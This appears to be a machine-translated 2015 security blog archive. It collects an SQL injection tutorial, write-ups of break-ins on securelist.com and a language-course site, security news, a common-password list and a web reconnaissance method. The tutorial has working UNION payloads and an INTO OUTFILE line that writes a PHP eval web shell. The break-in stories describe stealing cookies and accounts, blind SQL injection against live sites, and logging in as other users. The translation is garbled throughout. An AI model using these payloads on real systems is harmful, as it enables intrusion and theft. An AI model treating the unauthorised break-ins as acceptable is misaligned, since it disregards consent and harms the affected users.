Sunday, January 25, 2015

Modern methods of authentication and security of iOS-devices

Today we publish two new reports on our mobile developers conference #MBLTDev, which was held in late October in Moscow.

Both reports are devoted to safety: one from the head of EMEA PayPal Tim Messerschmidt about modern forms of authentication, the second - from the lead engineer for safety viaForensics Andrey Belenko about the safety of iOS-devices.

Tim called disclaims passwords and told than they can be replaced. "8.5% of users used as the Password or 123456 45% leave the site instead reset your password or secret answer. - Tim said. - To enhance safety, we suggest using PayPal in portable devices or authentication without a password (for example, OpenID). »


presentation

Andrew said that in iOS-application can go wrong, where there are security problems and how to fix them. And also, what to look for when developing applications in terms of safety and what to do, you should not.

Very interesting way to protect against SQL-injection and XSS

One highly respected me Mr Dan Kaminsky (Dan Kaminsky - known for his discovery of the fundamental vulnerability in DNS) proposed a very interesting technique universal protection against SQL injection and XSS.

The method is very simple and of genius.

The essence of art is reduced to the substitution in SQL-query all data in base64-representation and thus does not make sense to use some or parsers / analyzers used in SQL-query data (placeholders, etc.)

All this can be roughly described line type:
«SELECT * from mytable where textfield = base64_decode ('Q29vbEhhY2tlcnM =')»
where base64_decode - function of decoding base64, relalizuemaya particular database.

In the absence of the user base64 special characters and therefore no threat to our request made to him by the data will not be. No need to somehow escape or change the input. Suffice it to base64 encode it and send in the request.

Technique is also applicable on the client side - if you need to remove the data in quotes eg in the event handler or in the js. Razkodirovka of base64 can be performed directly in the js is necessary to obtain the original data.

From my point of view, the method is a genius. Deficiencies (in my opinion) the two - an increase of memory for variables stored in this way will be 30% (feature base-64 encoding), as well as increasing the load on the server because of the need to code input parameters (I think that can be ignored), and the load on the server DB because of the need razkodirvaniya (but I think this neglect will not work).
However, to be exact - to do experiments, and perhaps among habrapolzovateley have knowledgeable people ready to share their opinions on this?

SQL injection for beginners. part 1

Greetings to you, the reader. Lately, I am fond of Web-safe, and in some degree related to this work. Because I'm getting more and more began to notice themes in various forums, with a request to show how it works, I decided to write an article. Article will be designed for those who are not faced with similar, but would like to learn. In a network with respect to a number of articles on this subject, but for beginners they are a bit complicated. I will try to describe everything in plain language and detailed examples.


foreword

In order to understand this article, you do not need special knowledge of SQL-language, but at least having a good brain and a bit of patience - to remember.

I believe that one reading the article will not be enough, because we need are living examples - as it is known practice in the process of remembering, there is no excess. Therefore, we write the vulnerable scripts and train them.

What is SQL injection?

Simply put - it is an attack on the database, which will perform an action that is not to the creator of the script. Life example:

Father, mother wrote in a note that she gave Vasya $ 100 and put it on the table. Reworking it into a comic SQL language, we get:
Get it out of the bag 100 rubles and GIVE THEM Vase
That's how bad my father wrote a note (clumsy handwriting), and left it on the table, saw her brother Vasey - Peter. Peter, being a hacker, it has added "OR Pete" and received such a request:
Get it out of the bag 100 rubles and GIVE THEM OR Pete Vase
Mom read the note, she decided that she gave money Basil yesterday and gave $ 100 to Peter. Here is a simple example of SQL injection of life :) Do not filtering data (Mom barely make out the handwriting), Peter made a profit.

training

For practice, you will need to archive the original script of this article. Download it and unzip on the server. Also import the database and set the data in the file cfg.php

Search SQL injection


As you know, there is an injection of the incoming data, which are not filtered. The most common mistake - this is not filtering the transmitted ID. Well, roughly speaking substitute in all fields quotes. Whether it's a GET / POST request, and even Cookie!



Numeric input parameter

For practice, we need a script index1.php. As I said above, substitute quotes in news ID.

sqlinj / index1.php? id = 1 '


Because we request does not have a filter:

$ id = $ _GET ['id'];
$ query = "SELECT * FROM news WHERE id = $ id";


The script will understand it as
SELECT * FROM news WHERE id = 1 '


And we will give an error:
Warning: mysql_fetch_array () expects parameter 1 to be resource, boolean given in C: \ WebServ \ domains \ sqlinj \ index1.php on line 16

If the error is not issued - may be the following reasons:

1.SQL injection is not here - Filter quotes, or just standing in the conversion of (int)
2.Otklyuchen error output.

If, however, the error brought - Hooray! We found the first type of SQL injection - Numeric input parameter.


String input parameter


Requests will send to index2.php. In this file, the query is:
$ user = $ _GET ['user'];
$ query = "SELECT * FROM news WHERE user = '$ user'";


Here we make a sample news on behalf of the user, and once again - not we filter.
Again, send a request with the quote:
sqlinj / index2.php? user = AlexanderPHP '


Generates an error. Ok! So there is vulnerability. For a start we have enough - get down to practice.



Getting to action

A bit of theory


I guess you can not wait to retrieve something from this, except for errors. To begin Understand that the sign "-" is a comment in the language of SQL.

CAUTION Before and after it must be spaces. In the URL, they are transmitted as 20%

Everything that comes after the comment - will be discarded That is the query:
SELECT * FROM news WHERE user = 'AlexanderPHP' - habrahabra

Executed successfully. You can try this on a script index2.php, sending the query:

http: //sqlinj/index2.php? user = AlexanderPHP '% 20 -% 20habrahabr


Learn parameter UNION. In SQL keyword UNION is used to combine the results of two SQL-queries into a single table. That is, in order to get something we need from the other table.



Benefit from the


If the "Numeric", the query does not need to send us a quote and naturally put a comment at the end. Let's go back to the script index1.php.

Referring to the script http: //sqlinj/index1.php? Id = 1 UNION SELECT 1. Query the database we get like this:
SELECT * FROM news WHERE id = 1 UNION SELECT 1
And he gave us an error, because to work with surfeiting query, we require the same number of fields.

Because we can not influence their number in the first query, we need to pick up their number in the second, that it is equal to the first one.

Select the number of fields


Selection fields is very simple, just send such requests:
http: //sqlinj/index1.php? id = 1 UNION SELECT 1,2
Error ...
http: //sqlinj/index1.php? id = 1 UNION SELECT 1,2,3
Again a mistake!
http: //sqlinj/index1.php? id = 1 UNION SELECT 1,2,3,4,5
No error! Hence the number of columns is equal to 5.

GROUP BY

Often it happens that the fields can be 20 or 40 or even 60. To us every time not to touch them, use the GROUP BY

If the request
http: //sqlinj/index1.php? id = 1 GROUP BY 2
did not give the error, then the number of fields is greater than 2. Try:

http: //sqlinj/index1.php? id = 1 GROUP BY 8
Op, we see an error, then number of fields less than 8.

If the GROUP BY 4 no error, and when GROUP BY 6 - error mean number of fields is equal to 5



Definition of output columns

To the first query we do not output enough to substitute a non-existent ID, for example:

http: //sqlinj/index1.php? id = -1 UNION SELECT 1,2,3,4,5

image
By this action, we determined which columns are displayed on this page. Now, to replace these figures to the right information, you can continue the request.

output


Suppose we know that there is still a users table in which there are fields id, name and pass.
We need to get information about the user with ID = 1

Therefore construct a query:

http: //sqlinj/index1.php? id = -1 UNION SELECT 1,2,3,4,5 FROM users WHERE id = 1
The script also continues to output
image

To do this, we substitute the name of the field, for a place of numbers 1 and 3

http: //sqlinj/index1.php? id = -1 UNION SELECT name, 2, pass, 4,5 FROM users WHERE id = 1
Got what - what was required!
image


For "string input parameter," as in the script index2.php need to add quote at the beginning and at the end of the comment character. example:
http: //sqlinj/index2.php? user = -1 'UNION SELECT name, 2, pass, 4,5 FROM users WHERE id = 1 - 20%


Read / Write File

To read and write files in the user database must be right FILE_PRIV.

recording Files

In fact, everything is very simple. To write the file, we will use the OUTFILE.
http: //sqlinj/index2.php? user = -1 'UNION SELECT 1,2,3,4,5 INTO OUTFILE' 1.php '-% 20
Ok, we have a file record. Thus, we can fill a mini-shell:
http: //sqlinj/index2.php? user = -1 'UNION SELECT 1,' <? php eval ($ _ GET [1])?> ', 3,4,5 INTO OUTFILE' 1.php '-% 20

reading files

Reading files made even easier than writing. Simply use the LOAD_FILE, for a place in that field, we choose:

http: //sqlinj/index2.php? user = -1 'UNION SELECT 1, LOAD_FILE (' 1.php '), 3,4,5 -% 20

Thus, we read the previous recorded file.


ways of protection


Protect even easier than using vulnerability. Just filter the data. If you pass the number, use
$ id = (int) $ _GET ['id'];

As suggested by malroc. Or advocate the use of PDO prepared statements.

Securelist.com - XSS vulnerabilities and SQL Injection

Hello everyone!
Securelist.com developed by Kaspersky Lab. The site has a blog in which employees are fasting LC, and ordinary users, once registered, can comment on them. We have comments or rating. Once the rating of all user comments becomes> = 100, the user receives the status of the blogger and can post to your blog. And once I have registered there ...


[Disclaimer]
All the actions described below are presented solely for oznakomeniya. Portal administration has been advised of all vulnerabilities found on the website. To remove some screenshots I took the site service peeep.us habrapolzovatelya snusmumrik. Special thanks to the team of the portal R3AL.RU for help and support.

[XSS]
By registering, I decided to do a standard test for XSS-vulnerability. I put the JS-script with alert'om and it worked, ie in the Username field was not filtering against XSS.
Without hesitation, I put a sniffer, commented on several blogs and waited. Sniffer hung on the site for about a month. During this time I was able to intercept 91 account to the site. Let's look at the work site more:
1) The user enters a username and password
2) The site writes cookie (VLUserkaspru) user parameters in the form:
id: 19DEShash
where id - the identifier of the user (can be found on the link: securelist.com/ru/userinfo/id)
19DEShash - standard php DES-hash with salt = 19
3) When you go to any page of your site, the script takes the user's cookie, and splits into 2 parts (by ":") is selected from the database password for the user where id = id, and compares the hash of the password from the database with the value of the hash cookie.
This means that, catching just one cookie, I can go to the website at any time (or I can sbrutit hash).
I decided to find out how the passwords are stored in the database. Check it was very simple - click the link "Forgot password" and we are on the E-Mail comes password in the clear. This means that passwords are stored in the database is open, not hashes.
Going into account, I found that I can change the E-Mail to reset your password. To confirm the change of E-Mail'a link only comes to the new E-Mail => I can change any account E-Mail, confirm it and return it to the password in the clear.
As I caught cookie employees LK, I could go to control panel blog. It looked like this:
image
View user profile with the status "Administrator" from the inside:
image
After a few tests, I found that the text of the blog is also not filtered => I can insert there any HTML / JS code (for example, an exploit).
Here is the edit page of the blog:
image
Field zaglovka posting is also not filtered, and the title is displayed on the main page => we can do a little deface:
imageimage
Well, or so:
imageimage
And especially for Habrahabr.
List of interesting id, cookie that I could intercept:
69 - Dmitry Bestuzhev expert "Kaspersky Lab"
72 - Sergey Golovanov, expert "Kaspersky Lab"
81 - Maria Namestnikova, expert "Kaspersky Lab"
82 - Jury governors, expert "Kaspersky Lab"
85 - Tatiana Nikitina, Blogger
1052 - dr, Administrator
7053 - Alexander Gostev, expert "Kaspersky Lab"

[SQL-Injection]
After a short time, and I would like to inform the site of the vulnerability, but decided to check the settings on the cookie filtering. And it turned out that id does not filter!
Substituting in the cookie various options, I learned that there is Blind SQL Injection:
12345) AND 1 = 2 -: hash
When this parameter is changed in my account is not allowed, but at
12345) AND 1 = 1 -: hash
I went as a logged user.
A couple of hours I spent on it to achieve normal Blind-O. The result was:
12345) AND 1 = 1 AND (SELECT ascii (substring (version (), 1,1)))> 100 -: hash
Those who know SQL can easily understand that here I compare ascii-code of the first character version of c 100. If it is greater than 100, then I get the user (AND TRUE AND TRUE), otherwise, I - Guest (AND TRUE AND FALSE) . By substituting different values, I know ascii-character code and translate it into a symbol.
On the server, PostgreSQL does not spinning the latest version.
Derive signs of INFORMATION_SCHEMA.TABLES:
12345) AND 1 = 1 AND (SELECT ascii (substring (table_name, 1,1)) from INFORMATION_SCHEMA.TABLES LIMIT 1 OFFSET 1)> 100 -: hash
So I started to write the names of the tables, but there was a bummer: I was able to bring only the name of the first table, and the vulnerability has stopped working (most likely, the administrator logs burned, but do not exclude the fact that someone whispered).

Most recently, on securelist.com a new record called «XSS for beginners." =)
XSS vulnerability did not fix it, even though I sent a letter in support and a message in the book of complaints and suggestions LC (answered that all necessary measures have been taken). Maybe this post will make the administration finally close the vulnerability.

UPD: Warning! This is not a PR site, company, or product product.
UPD2: On the topic:
Magic triptych or bad advice from KAV (the article appeared before my research, however, I learned about it quite recently).

45% of web resources of major Russian companies contain critical vulnerabilities

Web applications have become an integral part of the corporate information system of any modern organization, regardless of the type of its activities. Own web resources provide not only commercial companies but also government agencies that develop web services to provide online services.

Despite all the advantages of web applications, vulnerability they are one of the most common methods of getting into corporate information systems. This is confirmed by statistical studies, which are held annually experts Positive Technologies.

The research focused resources 67 largest Russian public organizations and industrial sectors of telecommunications and IT (banking systems in a separate paper).

Note: The study analyzed data collected during the work on assessing the level of security of web applications in 2012.

The most common vulnerabilities

Among the 10 most common vulnerabilities included two critical - "Implementation of operators SQL» and "directory traversal", which are subject to a 33% and 18% of the surveyed web resources, respectively.

In 2012, the most widespread information disclosure vulnerability Fingerprinting, allowing to identify the software and prepare the base for the attack: this fault prone three-quarters of surveyed resources (73%). In second place with 63% - cross-site scripting (Cross-site Scripting). Almost half of the systems (46%) there are errors that can automatically pick up credentials and passwords (Brute Force).

image

Vulnerability specific to various means of web application development

According to the study, 83% of web applications developed in the language of PHP, contain critical vulnerabilities, the remaining 17% of such systems contain vulnerabilities medium and low risk. In second place Perl: almost a third of the vulnerability of systems contain a high level of risk.

image

Vulnerability specific to different Web servers

In 2012, the most vulnerable to high-risk vulnerabilities were Web-based applications using a web server Apache: 88% of them contain critical security flaws. In second place Tomcat - 75% of high-risk errors. Third place with 43% sensitive resources took Nginx, and became the most secure web server IIS (14%).

Recall that the results of the previous studies were more vulnerable web servers Nginx and Apache.

image

Most web servers vulnerabilities associated with errors of administration, the most common of which is the Information Leakage.

Vulnerability by industry

The maximum concentration of Web applications that contain vulnerabilities high risk was identified in the telecommunications industry - 78%. In the industrial sector, exactly half (50%) resource contains critical security flaws, followed by a small margin the following sites IT- and information security companies (45%). With regard to government organizations, approximately one in three (27%) of a web application in this area contains a high level of vulnerability risk.

image

findings

In general, compared to 2011 average level web application security has become a little higher: in particular, the proportion of sites that contain critical vulnerabilities decreased by 15% to almost 45%. Positive Technologies experts have found only one infected Web application, whereas previously 10% of websites containing malicious code. On the other hand, there are signs of stagnation: did not change the proportion of web applications with high-risk vulnerabilities in the industrial sector and telecom sector sites increase the level of security is very slow.

Detective story about SQL injection, sometimes blind

Good day!

Would not have thought to write an article about it, because thought that the theme is pretty jaded. But, judging by this article, the audience interested. Finally convinced me that this one should write a comment.

This story happened to "friends of friends of my friend," but for the sake of brevity, I will write citations in his words, to use just the "I". It was a week ago. Let's go.

It took me learn a European language, in the light of a possible move to a European country. And I found a wonderful website, which was proposed to learn a language via podcast. Podcasts themselves are free, but you can buy a PDF recordings of lessons and exercises. I write this not really need, but my wife, unlike me, do not audial and language teaching it is also necessary. Before to buy something online, I've been studying the merchant's website - do not want my data somewhere flowed. And in this case, everything was more than bad. Desire to buy something immediately disappeared. But left without PDF unsportsmanlike. As a result, I decided to try to take advantage of one of the found vulnerabilities. I must say that I basically do not use any automated vulnerability scanner and essentially does no harm to users of the resource - they are not to blame, that the owner of the resource clumsily wrote it. Therefore, my tools are soobrazhalka and theoretical knowledge on the causes and the use of vulnerabilities.

beginning

The first thing I looked at a few examples of the demo available to download PDF. First, the user sent to:

/guide.php?id=lesson_id

At this point, checks if the current user is given the right to download the PDF. If so - is redirected to:

/download.php?f=filename.pdf

Immediately it turned out that the script gives the specified file does not check out. Because available for example lesson №1 had filename 001.pdf I decided to try to get all the files bust. If only it were that simple, then it would be to write about. But in this way managed to get only the first 100 files. The rest were in the name timestamp creation time and through them became impossible, since creation time differed for several months.

Rotate an SQL injection

Pretty soon discovered banal SQL injection in the GET parameter:

/some_script.php?id=123

It seems to be on its use is constructed very simply:
Determine the number of parameters in the query
Choose the table and field names (in the case of MySQL 5.0 and above - select them from information_schema)
Get the desired file names
Download files themselves

But problems began with the first point - to determine the number of fields in the query failed. With any number of fields in the UNION SELECT and any room in the ORDER BY n I get the message «You have error in your syntax ...»

In fact, I accidentally realized what exactly the problem - trying to make GROUP BY 1. To this I received an error «can not group by cnt». It turned out that the vulnerable parameter is used twice (well, at least that's the assumption I was unable to refute).

First select the number of records with the specified id:

SELECT count (*) FROM table where id = 123

If the number of records 0, it is considered that the page could not be found and there is a redirect to the home page. If the records are not 0, pulls information:

SELECT * FROM table where id = 123

Now it becomes clear why it was not possible to find out the number of fields in the query - their 2 and in one of them will always be the wrong number of fields in the UNION. Think of a way that would insert a different number of fields in the UNION in the first and second request, I could not. At this point, SQL injection has become blind. I could not find the table name with the file paths, but managed to find a table name with the user data (MySQL 4.1).

Dear developers, do not do 2 request, where you can make one! In this case, you could instead SELECT count (*) to check the number of records returned by the query SELECT *

Now it remains to find a way to get useful information. I did so:

/script.php?id=123 limit 0,0 union all select length (username)> 4 from tablename limit 0,1--

What we see here:
123 limit 0,0 - because count (*) will always return to us exactly one record, and we know that it has been returned to our part of the request, you need to remove it from the result
union all select length (username)> 4 from tablename limit 0,1-- - if the user name length is greater than 4, then the condition is true, MySQL will return the unit, and then an error when trying to execute the second query. If the condition is false - returns 0 and will redirect. Well, '-' for comment at the end of

Thus for HTTP headers can understand the true condition if we passed. We first determine the length of the user name, and then take out the binary search spelled the name itself (lower (substr (username, 1,1)) in ('a', 'b', 'c')). Then take out letter by letter password. But it turns out that the hashed password in md5. Although hashing without salt, but the passwords site administrators still could not pick up (in no rainbow tables and brute force on the netbook did not want to deal with, and besides, it's unsportsmanlike).

After some deliberation, it was decided to go another way. Because in the base turned out more than 60,000 users, I suggested that many of these popular passwords. And then just had to get user names alphabetically which is the password hash md5 ('password') - they turned out to be more than 100, and among them were people who bought the desired PDF. And they were kind enough to share them with me.

All this was done with a very simple script that sent HEAD-request (and why do we need the body of the page?) And watched the response header. If the 200 - the condition is true if the 302 - not true.

conclusion

Why all this written? To show that it is necessary to know the nature and causes of vulnerability rather than to learn how to use them. All uses of SQL injection, which I saw on the internet, asked to determine the number of fields through 5 or ORDER BY UNION SELECT 1,2,3 ... And the man who did not want to think I would go with a site with nothing.

In addition, I am a bit proud of my workaround instead of breaking hash. Well, not so long ago expressed skepticism about the existence of such vulnerabilities in today's Internet and on the practical application of blind SQL injection.

Friday, January 23, 2015

The judge admitted the use of encrypted mail service sign terrorism

Spanish judge Javier Gomez Bermudez admitted use of a group of Spanish activists encrypted mail service Riseup and that they have the book "Against Democracy» (Contra la democràcia) an indication that this group is engaged in terrorist activities. As a result, during the operation "Pandora" at the end of December 2014 more than 400 police officers raided 14 private homes and community centers in Spain, the results of which were arrested 11 people. Four of them were released, but seven imprisoned on charges of "terrorist activity unknown character." This led to many thousands protest march. The situation highlights edition NetworkWorld.

Significant is the fact that so-called "terrorists" did not kill anyone, did not explode and no one at all threatened. Everything that they were guilty before the law - it is the possession by some print media and the use of encrypted means for communication. There are unproven allegations of a possible link with a group of activists ATM bombings in 2012 and 2013, but the judge explained his decision by saying that it was not interested in communication with these groups explosions and investigate the activities of the group, based on the potential harm it may cause to future. In other words, there was a preventive justice.



In addition to the current economic crisis, Spain reeling the growing movement for secession of Catalonia (a referendum on the issue was canceled, but in the polls 80% of the population were in favor of the Autonomous Region Office), and the continuing problems on the part of Basque nationalists. Perhaps these problems forced security agencies to apply strict measures in such cases.

All this takes place against the background of the European Parliament based on the facts disclosed surveillance organized NSA, that "privacy - this is not a luxury but a basic right in a free and democratic society." Service Riseup, which provides users with encrypted mail (currently held registration for invite), in turn, published in his blog article titled "Safety - not a crime": "We reject such a Kafkaesque criminalization of social movements, as well as ridiculous and extremely disturbing conclusion that care about their own privacy can be equated with terrorism. "

How Tor Project is struggling with browser fingerprinting

The essence of the method is that on different systems in different browsers differently rendered text (and not just text), as it is responsible for a lot of different components at different levels, which can have different settings for the components of the lower layer.

May be trite different (with a different set of characters with slightly different glyphs and ligatures with different kerning ...) fonts.
Different parameters of the call library functions in different browsers.
Different versions libfreetype and other libraries rendering.
Different implementations in different OS and OS settings (for example, different versions of ClearType and different screen resolutions).
Different graphics drivers.
Other graphic iron.

This article describes a method using API getImageData, which returns the image pixel by pixel. Also considered the use of WebGL: on different systems and 3D-scenes are rendered in different ways.

The paper was recommended to use a soft-pure rendering, without the use of operating system components and other software installed on your PC, noise and other methods of protection. In Tor Project can create prints patched, asking permission to getImageData and replacing random fonts to fallback-font (which is why we have measurements of 10).

Defective by design

There are other API, current information. For example, API measurement text. If the text is rendered in different ways, means and size should be a little bit different. Test this hypothesis using API measureText for the same canvas and API getBoundingClientRect of DOM.

Skloniruyte gist, run on a computer at the last (or last) TBB, open it in the HTML-file from the repository, otpostite result in the comments. You can still go to the Fiddle Fiddle or in full screen. In principle, one could not make hash, it would give more room for the date-Meiningen, but even in compressed form a complete set of information about each font takes up very much space. Therefore dispense hashes. Who wants to dig deeper, he can uncomment some lines in the source.

Server hackers, DDoS-ivshih services Microsoft Xbox Live and Sony PlayStation Network, hacked

Curious case can be called hacking servers hacker group Lizard Squad. It is this group affect the proper operation of services Microsoft Xbox Live and Sony PlayStation Network, launching a powerful DDoS-attack. Now, as it turned out, would-be hackers themselves are the victim of other intruders.

The fact that this group has created its own service Lizard Stresser, allowing to carry out DDoS-attacks on the order book. Customer data is stored in clear (unencrypted) form on the servers of the service. As a result, third-party crackers "taken away" database with the data from the 14241 account.

In this case, many accounts were still money intended for Lizard Squad. Such "money" accounts were several hundred, and the funds were kept in Cryptocurrency Bitcoin. In US dollar terms in the accounts of "clients" were kept about 11 thousand US dollars.

It is worth recalling that the attack on the server Xbox Live and PlayStation Network was held December 25, 2014. Then the performance of services has been broken, and all the experts were able to recover only two days later. After hacking team members Lizard Squad reported that the purpose of the "action" - a demonstration of inefficient spending of company funds, plus a demonstration of insufficient quality service companies own services.

Not so long ago, the police arrested one of the team members Lizard Squad, now arrested several other people.

List of the most simple passwords: 2014

Once a year, the web is stable published lists of the most simple passwords that use network users. Most interestingly, from the simple and repetitive account login passwords used not only inexperienced users, but also quite a pro. Just too lazy to change the password for most of the more complex.

This year, his list of the most simple passwords published by SplashData. All data shown are used with the consent of the users of the service. On Geektimes, probably does not make sense to warn about the dangers of such passwords - are all already know. Let's just look at the list.

Perhaps it is not surprising that tops took the type of codes 123456 and 12345, together with the word password. By the way, these passwords are used often, even advanced users - simply because it is the password for services that are not critical for the person (well, for example, the account at any newspaper, or a forum, or some other similar resource).

Nevertheless, there are the only ones that use a combination of very light even to register for services, which contains information about the user's credit card. But there is probably no warnings will not help. So here it is, the full list:

1. 123456

2. password

3. 12345

4. 12345678

5. qwerty

6. 123456789

7. 1234

8. baseball

9. dragon

10. football

11. 1234567

12. monkey

13. letmein

14. abc123

15. 111111

16. mustang

17. access

18. shadow

19. master

20. michael

21. superman

22. 696969

23. 123123

24. batman

25. trustno1

Interestingly, the type of codes «batman» or «dragon» are relatively new to SplashData - before users like passwords are not created.

Large companies have agreed to protect the personal data of students

Google and Khan Academy joined the agreement Student Data Privacy Act (SDPA) between the giants of information and educational market, which provides for the protection of personal data of students from the spread of the Internet. Besides them signed the agreement yesterday put more than 15 companies. Last week, it still did about 75 different organizations, including giants such as Microsoft and Apple.

Companies that have signed the agreement will have to abide by a set of principles on the use of these students. The signatories promise not to sell the collected data and use them in targeted advertising. In addition, it will be easier and streamlined access to students' parents and students for their data, and the process of collection of such data should become more transparent.

Initiative Student Data Privacy Act proposed about a week ago, US President Barack Obama in a speech in Congress. The main idea of the speech - American life is highly dependent on the digital world, and issues such as hacker attacks (Obama mentioned the famous incident with Sony Pictures) can lead to serious consequences. The President insisted that the list of participants Student Data Privacy Act was open, then the parents of the young people will be able to know about who signed the agreement, and who - no.

About a week ago, Google refused to put his signature under the SDPA: in an interview with Business Insider officials search giant explained by the fact that the protection of personal data of users and so is a "top priority" for the company. What has changed since then, and why Google suddenly decided to change his point of view - is unknown.

5,000 gas stations in the United States threatened cyberattacks because of obsolete equipment

Security experts have discovered vulnerabilities in devices ATG, watching the level of fuel at gas stations the United States. Theoretically, hackers can gain control of the device to turn off the fuel supply or cause false signals, including leak: in this case, automatically turns off all pumps that paralyzes the station. According to the study, with the help of Internet attacks can gain control of such sensors to 5300 at a gas station in the United States. Communication protocols for equipment obsolete, and the owners of the stations are conventional routers and do not think about security.

image

Automated devices show the amount of fuel at the gas station to report when it's time to order gasoline. Attackers using Internet attacks can control the settings, making false reports or completely shutting off the supply of gasoline - saying that the tank is empty. If the device says that the tank is full, gas stations may simply be left without fuel - because no one will be ordered. In the worst case, an attacker can inform about the leak, which disables all pumps and paralyze the work station.

As the researchers note, at petrol stations are often used conventional routers bought from Best Buy, so that after you connect to the network stations owners face the same problems as ordinary consumer. The problem is that these devices monitor the level of fuel in the tanks. Most of the stations are not owned by large corporations and private owners, which are of little interest to the security of the network connection.

The most common sensors manufactured by Veeder-Root. These sensors can be protected with a password of six characters, which is unencrypted and can be intercepted, but mostly no password is used.

Among the main problems the researchers note obsolete communication protocols designed for the equipment for about twenty years ago.

Protect PHP scripts from copying

1. Issuance of licenses and license validation script

I am creating a key to the domain approximately as follows:
$ key = md5 ($ domain. $ secretword);

Scripts checks its license as follows:
$ key == md5 ($ domain. $ secretword);

Indeed, the ugly store $ secretword themselves in scripts. Therefore, one can use public-key encryption. When issuing a license, I'll sign it with your private key, and a script that license evaluation, the public key will be to check the validity of the license. But I did not find in the standard package of PHP functions are no public-key encryption, even RSA (I blind?). If you can help - I will be grateful.

So, the script checked the correctness of the license. That is, the suitability of the specified key to the specified domain. Go ahead.

2. Check domain

The script can check whether it is on the specified domain? We have no confidence in the $ _SERVER ['HTTP_HOST'].
Just on the conditions - no of connections to another server. This means that a connection to themselves on the proposed domain, and we check whether there are :)

To be more precise:
1) keep on servre random number (for example, in a temporary file) 2) please contact nash_domen.ru / nash_skript.php? Action = skazhi_chislo3) check what number we give to this address. If it corresponds to the fact that we have retained, so we're at:) 0) zero point return is necessary to add the stored number when we were called with the parameter action = skazhi_chislo
I'm a little simplified algorithm, in fact for each call to the script need to separately account for these random numbers.

Now the script knows that the license is valid, and that it is in the appropriate domain. The main problem is solved!

You tell me - wtf, each call script will pull itself? Indeed, brutally somehow. That Is Why:

3. Temporary License

The first time, if the test is successful, the script temporary files temporary license.
Temporary license is something nopodobie md5 (segodnyashnyaya_data, domain secret word).
Now with every request we check only a temporary license that is valid for the day. Once with a temporary license that something was wrong (changed, deleted, held a day) - the script will check everything again seriously and retain new temporary license.

4. Execution of the script on the local computer without a license


It would be ideal if the script does not require a license when running on the local computer. Why would a person to claim me with a license if he just wants to test the script on my computer? It should download it and use it. But when he put the script on the server, and then will come to me.

I do not know how to solve this problem. I have 3 options until the solution, but I do not like:
1) If the script is on a domain without points (type myscript /) - assume that this virtual domain, then it most likely site testing. The disadvantage of this method - the craftsmen will create a virtual domain on the server, and make a real domain synonymous. Just do not understand what to do with the domain localhost.

2) Check the $ _SERVER [«REMOTE_ADDR»]. Check the availability of '127' at the beginning of ip-addresses. Drawback - you can override this variable before running the script.

3) It's funny, but you can check the server's operating system. And allow execution under Windows. Just do not hurt me, it's just an option.

Planning for security analysis of web resources

Specific material, is not designed for a wide audience due to the low level of interest in covering the topic. The article can be useful specialists regularly review the security of web servers. Proposed methods should help ordering data on the structure and characteristics of the resource, to create something like a list of steps to perform the test.

Procedures and recordkeeping selected by the author on the basis of personal preference (and in many ways, inspired by the guidelines OWASP (2), etc.), any practitioner can (and most likely will want to) use your own set of techniques and methods of "logbook ". So, many of these online tools are not unique, someone can create their analogs or prefer ready.

A little bit about leadership OWASP Testing Guide: currently on the official website offers a version 3 (349 pages); whereas previously there had to download a OWASP_Testing_Guide_v3.full.pdf (374 pages). By cons leadership can be attributed to some redundancy, part of the described scenarios seem unlikely or extremely rare.

However, tips for organizing tests and risk classification system is definitely helpful. Other materials may be mentioned Common Criteria for Information Technology Security Evaluation and OSSTMM (Open Source Security Testing Methodology Manual).

For demonstration purposes, select the resources of a certain service center, spoiling technique customers instead of repair.


The procedure for analysis.

In my case, the data are entered in the table Excel, prepared on the basis of the template that includes a list of the information collected in the course of the safety analysis. Table is organized as follows: type of data assigned to the symbols that help shorthand - what action is possible to obtain specific information. There is space for a mark to hold each action, and to record the results of the field (including, and abbreviations). It looks like this:

______________________________________________
[RDNS] | Reverse DNS | x | Reverse DNS data
----------------------------------------------
One of the first steps is to identify the main resource identifiers (IP, hosting, web server). To do this, it seems to me the most convenient service combined Domain Dossier (3). It also helps in the identification of the server software add-on for Firefox - Server Spy (4).

simservice.ru = 213.189.197.165 (axx165.distributed.zenon.net)
samsungremont.ru = 89.111.176.12 (fe16.hc.ru)
Both sites are located on the shared-hosting "Zeno" and "Hosting Center", used by web server nginx and engine shop OSCommerce. We found simservice.ru version PHP / 5.2.17. Used widget feedback livetex.ru

Reverse DNS for said use online services Robtex (5) and BGP Looking Glass (6), thereby defining - whether it is a dedicated server or shared hosting. (In this case, to obtain data on other resources on the shared-hosting).

Then to visit the study resource using HTTP / HTTPS-sniffer implemented as add-on for Firefox - Foxmeter (7), which generally provides insight into the structure of the site, cross site scripting / widgets, etc. Get a list of available commands HTTP request OPTIONS (addon Poster (8), or curl). In this case, both the server did not answer the OPTIONS. You can also ask about the details of SSL-certificate, if any. Online tool, among others, is available on serversniff.net (10) In some cases, the search query of the form "victim.com" site: victim.com brings unexpected results: the files with incorrectly specified rights, service pages, etc. samsungremont.ru responded to an appeal to the .htaccess error 403 on behalf of the Apache / 1.3.42 (masking).

At this stage, it is already possible to get an idea about the server and CMS. Additional information can be found in the standard robots.txt file and sitemap.xml (sitemap.xml.gz). In case of shortage sitemap.xml can fill the gap with the help of online generator (9), and then the client application. Studied resources issued by robots.txt standard OSCommerce, sitemap.xml had to generate. In some cases it may be valuable information about the designer (companies or individuals) - many people use the typical solutions, such as some of the design studio emphatically refuse to recognize .htaccess, with the result that all products have the types of vulnerabilities - directory listing (OWASP-AZ-001) . In our case, the design is executed design bureau pella.ru, without any errors (given the ugly background image)

To get an idea of hosting, and last but not least on the used GIS are encouraged to investigate the official website of the host. Not to repeat this step once again, the data are recorded in a separate table for hosters (hardware, OS, address ranges, customer-specific domains). In this case, interest was information about the modem pool "Zeno": test access: demo: demo

745-7171 - Cisco Systems Access Server 5300
251-1030 - USRobotics MP16
After identifying CMS it is desirable to obtain a copy of the analysis. In most cases, even the big companies are using free engines like Wordpress / Drupal / Joomla !. Almost all paid engines can also be downloaded as a trial version that allows to study the structure and possible security problems. Common engines often suffer from errors, such as listing Wordpress or forced registration in Joomla !, allowing the use of a number of official functions.

In the study of the structure of the web resource paid special attention to the location of data and administrative interfaces. Available administrative input is risk classification OWASP-CM-007. In this case, the input is in the administrative / admin

Any error messages from the server can also carry useful information, such as physical file paths and service logins. In some cases it is necessary to look at the cookies: there may also disclose information about the server. In the studied sites - standard cookies OSCommerce and livetex. The presence of an internal search engine also adds information, and any shaper - potetsialny attack vector. Found the search engine.

Thursday, January 15, 2015

